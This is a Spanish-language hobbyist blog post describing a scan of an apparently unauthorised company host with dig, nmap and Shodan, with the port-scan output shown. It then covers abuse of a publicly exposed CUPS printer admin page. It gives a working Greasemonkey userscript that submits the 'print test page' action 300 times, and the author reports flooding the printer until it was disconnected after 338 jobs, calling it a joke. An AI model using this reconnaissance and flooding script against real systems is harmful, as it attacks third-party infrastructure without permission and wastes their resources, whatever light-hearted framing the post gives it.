(Cracker vs sysadmin)
Tiempo de lectura: 15 minutos.
Público objetivo: "Curiosiadores" .
Nivel: Básico.
Pre-requisito: N/A
Meta: Dar a conocer la facilidades de “vulnerar un sistema” si no se tiene cuidado a la hora de implementarlos.
Fecha publicación: 13 de Abril de 2018.
Hola nuevamente!, vuelvo del averno para realizar otra entrada de blog más; ahora es el turno de “seguridad informática”, el de cómo realizar un pequeño exploración de servicios para molestar a algún sysadmin (administrador del sistema).
Antes de empezar aclaro que no tengo conocimientos muy técnicos en la rama, así que será lo más lamer posible.
En esta fase seleccionamos nuestro target, el host (servidor o recurso informático de alguna empresa) para realizar la prueba de concepto (POC). El criterio para escoger este host fue totalmente al azar y su identidad se tendrá anónima a lo largo del blog. Por último, como somos chicos buenos, reportamos el asunto.
Aviso: Si buscas el Modo mega fácil, ir al método 2 :D
Nota: Dejaré mi identidad expuesta ya que no haré ningún tipo de daño al sistema. (cero vpn - ip mask … etc)
dig +short empresa-exitosa.com.co | awk '{ print ; exit }'
Dando como resultado la dirección ip en cuestión. También se puede usar herramientas online como http://domaintoipconverter.com (‘Googleen’ vagos)nmap 192.xxx.xxx.xxx
Aquí es dónde ustedes dicen “Pero nmap también se puede usar sobre el host name” Así es mis queridos colegas, pero se ve más (hacker con la ip).
Host is up (0.067s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
631/tcp open ipp
5800/tcp open vnc-http
5900/tcp open vnc
Parece alentador el panorama!.
Al investigar un poco sobre cada uno de los servicios, me doy cuenta que el ipp (Internet Printing Protocol) está corriendo sobre cups (Common UNIX Printing System) un servidor administrable por web y lo mejor de todo, con acceso sobre ip pública (internet). Así es, algo que debería estar disponible sólo por una subred, está accesible por todo visitante en la internet. Lo anterior es más común de lo que parece.
Los entendidos en el tema podrían ver más potencial en otros servicios, me centraré el IPP, ya que mi objetivo no es hacer daño en el sistema.
Existe otra manera que nos ahorrará mucho tiempo en la fase de exploración. Generalmente, no es tan fácil explorar un conjunto de dominios de una compañía ya que la administración de cada servidor se delega por proveedor de servicio por distribución geográfica. Por ejemplo:
Queremos saber alguno de los servidores asociados a servicios de la compañía, tendríamos entonces conocer los dominios enlazados al nombre. aquí una guía de como hacerlo. El problema es que muchas veces la compañía delega a terceros para que administre sus servidores cambiando los nombres de los registros. Si queremos resolver lo anterior, debemos entonces usar Google dorks y explorar el servicio netbios para dar con el nombre de la bendita empresa o usar shodan.
Shodan es un motor de búsqueda informática diseñado por web desarrollador John Matherly (http://twitter.com/achillean) que recopila información de sitios web y realiza .
algunos procesos para mostrarnos información útil de estos. (shodan es muy conocido por listar cámaras ip a lo largo del mundo que no necesitan contraseña o con contraseñas de fábrica.)
Simplemente buscamos el nombre de nuestra compañía o ip y bingo!, obtenemos la misma información del método 1 con sólo teclear el nombre. Mejoramos la búsqueda usando nmap si queremos!
Eureka!
Hora de divertirnos!.
Se enumera lo que se puede hacer en esta utilidad web:
¡Increíblemente podemos imprimir páginas de prueba siendo usuario anónimo (sin tener ningún privilegio dentro del sistema)!.
Como buen ciudadano preparé un script persistente para generar páginas de prueba, automatizando el proceso; también, utilicé Greasemonkey, un complemento para el navegador que ejecuta rutinas javascript persistentes.
// ==UserScript==
// @name Unnamed Script
// @version 1
// @grant none
// @include https://ip-empresa-segura:631/printers/Kyocera-Mita-FS-2000D
// ==/UserScript==
const printJoke = () => {
const selectElement = document.getElementsByName("OP")[0] // get selector
if (selectElement) {
selectElement.selectedIndex=1 // set selector option
selectElement.onchange() // trigger submit event
}
}
const x = 300
for(let i=0; i<x; i++) {
printJoke()
}
El script habla por sí solo, simplemente seleccionamos la opción “print test page” n veces inundando de peticiones a la pobre impresora :C.
Ejecución del script en sitio web
Nótese que al trabajo 338 desconectaron la impresora (perdón por el gasto de papel)
Esto ha sido todo por hoy, espero que les haya gustado!.